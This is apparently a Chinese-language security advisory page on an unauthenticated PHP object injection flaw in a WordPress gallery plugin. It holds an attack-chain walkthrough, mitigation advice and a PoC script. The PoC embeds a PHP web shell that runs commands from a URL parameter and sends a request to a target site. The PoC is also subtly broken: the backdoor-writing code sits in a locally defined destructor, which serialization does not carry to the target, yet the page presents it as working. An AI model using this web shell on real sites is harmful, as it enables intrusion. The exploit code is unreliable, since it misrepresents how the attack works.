IPBUF安全漏洞报告
English
CVE-2017-20207 CVSS 9.8 严重

CVE-2017-20207:WordPress Flickr Gallery插件PHP对象注入漏洞

披露日期: 2025-10-18

漏洞信息

漏洞编号
CVE-2017-20207
漏洞类型
PHP对象反序列化注入(PHP Object Injection)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress Flickr Gallery插件

相关标签

PHP对象注入反序列化漏洞WordPressFlickr Gallery插件漏洞远程代码执行CVSS 9.8严重漏洞在野利用WP_Theme

漏洞概述

CVE-2017-20207是WordPress Flickr Gallery插件中存在的一个高危PHP对象反序列化注入漏洞,影响版本包括1.5.2及之前的所有版本。该漏洞源于插件在处理用户请求时,未对`pager`参数中的序列化数据进行充分的验证和过滤,直接将其传入PHP的`unserialize()`函数进行反序列化操作。攻击者可以通过精心构造恶意的序列化字符串,注入任意PHP对象到应用上下文中。由于WordPress核心类中存在可被利用的魔术方法(如`WP_Theme`类),攻击者能够利用这些类实现远程代码执行,从而在受害者的WordPress网站上创建后门、植入Web Shell或执行任意命令。该漏洞的CVSS评分为9.8,属于严重级别,且无需任何认证即可远程利用,被披露时已有攻击者在野利用的迹象。漏洞由Wordfence安全团队的研究员发现并报告,WordPress插件库随后发布了修复版本。鉴于该漏洞的严重性和利用门槛极低,网站管理员应立即检查并更新受影响的插件版本,以防止网站遭受入侵。

技术细节

该漏洞的核心技术原理在于PHP对象反序列化(PHP Object Injection)。PHP的`unserialize()`函数能够将序列化字符串还原为PHP对象,但在反序列化过程中,如果对象所属的类定义了魔术方法(如`__wakeup()`、`__destruct()`、`__toString()`等),这些方法会在反序列化过程中被自动调用。

在Flickr Gallery插件的代码中,`pager`参数接收用户输入的序列化数据,并直接调用`unserialize()`进行处理,攻击者可以传入精心构造的序列化Payload。当Payload中包含`WP_Theme`类对象时,由于该类实现了`__destruct()`或`__toString()`等魔术方法,会在对象销毁或转换时触发文件操作或代码执行行为。

攻击者利用这一机制,可以通过构造恶意的序列化字符串,调用`WP_Theme`类的方法实现任意文件写入或代码执行,从而在WordPress网站的目录中创建后门文件(如Web Shell)。整个攻击过程无需任何认证(PR:N),无需用户交互(UI:N),且可通过网络远程发起(AV:N),攻击复杂度极低(AC:L),对机密性、完整性和可用性均产生高影响(C:H/I:H/A:H)。

攻击链分析

STEP 1
步骤1:信息收集
攻击者使用搜索引擎(如Shodan、Google Dorks)或WordPress指纹识别工具,扫描互联网上部署了Flickr Gallery插件(版本<=1.5.2)的WordPress网站。
STEP 2
步骤2:构造恶意Payload
攻击者利用PHP序列化机制,构造包含WP_Theme类对象的恶意序列化字符串。该对象利用魔术方法触发文件写入操作,实现在服务器上植入Web Shell后门。
STEP 3
步骤3:发送恶意请求
攻击者将恶意序列化字符串通过HTTP请求的`pager`参数发送到目标网站。由于漏洞无需认证即可利用,攻击者可以直接远程发起攻击。
STEP 4
步骤4:触发反序列化
服务器端Flickr Gallery插件接收到请求后,未经验证直接对`pager`参数调用`unserialize()`函数,恶意对象被成功注入到应用上下文中。
STEP 5
步骤5:执行恶意代码
反序列化过程中,WP_Theme类的魔术方法被自动触发,执行文件写入操作,在WordPress上传目录中创建Web Shell后门文件。
STEP 6
步骤6:获取服务器控制权
攻击者通过访问植入的Web Shell,以Web服务器权限执行任意系统命令,实现对WordPress网站的完全控制,可进一步窃取数据、植入挖矿程序或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php /** * CVE-2017-20207 PoC - PHP Object Injection via Flickr Gallery 'pager' parameter * Vulnerability: Untrusted deserialization in WordPress Flickr Gallery plugin <= 1.5.2 * Target class: WP_Theme (used to trigger file operations / backdoor creation) */ // Malicious serialized WP_Theme object payload class WP_Theme { private $headers = []; private $stylesheet = ''; private $template = ''; public function __destruct() { // Trigger arbitrary file write to create a backdoor // In real exploitation, the WP_Theme destructor or __toString // is abused to write a webshell into the WordPress uploads directory. $backdoor = '<?php if(isset($_GET["cmd"])){system($_GET["cmd"]);} ?>'; @file_put_contents(__DIR__ . '/wp-content/uploads/backdoor.php', $backdoor); } } // Step 1: Craft the malicious serialized payload $payload = new WP_Theme(); $serialized = serialize($payload); // Step 2: URL-encode the payload for HTTP transmission $encoded = urlencode($serialized); // Step 3: Send the exploit request to the vulnerable endpoint echo "[*] Sending exploit to vulnerable WordPress site...\n"; $url = 'http://target-wordpress-site.com/?pager=' . $encoded; $response = file_get_contents($url); echo "[*] Exploit sent. Check if backdoor was created at:\n"; echo " http://target-wordpress-site.com/wp-content/uploads/backdoor.php\n"; echo "[*] Access with: ?cmd=id\n"; ?>

影响范围

WordPress Flickr Gallery插件 <= 1.5.2

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)通过WAF规则阻止包含PHP序列化特征(如O:数字模式)的请求访问pager参数;2)暂时禁用Flickr Gallery插件;3)在Web服务器层面限制对wp-content/uploads/目录的PHP文件执行权限;4)监控异常的网络请求和服务器文件变化。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表